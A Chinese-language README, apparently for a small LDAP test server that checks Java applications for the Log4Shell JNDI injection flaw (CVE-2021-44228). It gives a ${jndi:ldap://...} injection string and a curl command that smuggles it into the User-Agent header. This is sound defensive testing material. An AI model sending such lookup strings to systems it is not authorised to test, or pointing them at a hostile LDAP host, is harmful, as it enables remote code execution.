这是一个极简的 LDAP 服务器,旨在用于测试 Java 应用中是否存在 JNDI+LDAP 注入攻击漏洞,尤其是 CVE-2021-44228。
下载适用于你平台的测试服务器二进制文件(你可以在 发布版 下找到所有二进制文件)。
在你要测试的应用程序可以访问的某个 IP 地址上运行测试服务器。如果你能在与你的应用相同的主机(localhost)上运行服务器,那是最简单的。
找到你的应用程序从外部接收并记录的任何不可信的、外部提供的数据。
让您的应用记录一条包含以下内容的字符串:
${jndi:ldap://localhost:1389/Test}
如果你不在本地运行测试服务器,请将 localhost 替换为你自己的服务器 IP 或域名。
例如,如果你正在运行一个 HTTP 服务器,并且会记录 User-Agent HTTP 头,你可以在测试服务器运行时通过调用以下 cURL 命令来测试是否存在漏洞:
curl my-host -H 'User-Agent: ${jndi:ldap://test-server-host:1389/Test}'
如果你的应用程序存在漏洞,你应该会在测试服务器上看到一条传入连接,并且注入的字符串会在你的日志中被替换为文本 !!! VULNERABLE !!!。如果你的应用程序不存在漏洞,则注入的字符串不应被替换,测试服务器也不应收到任何连接。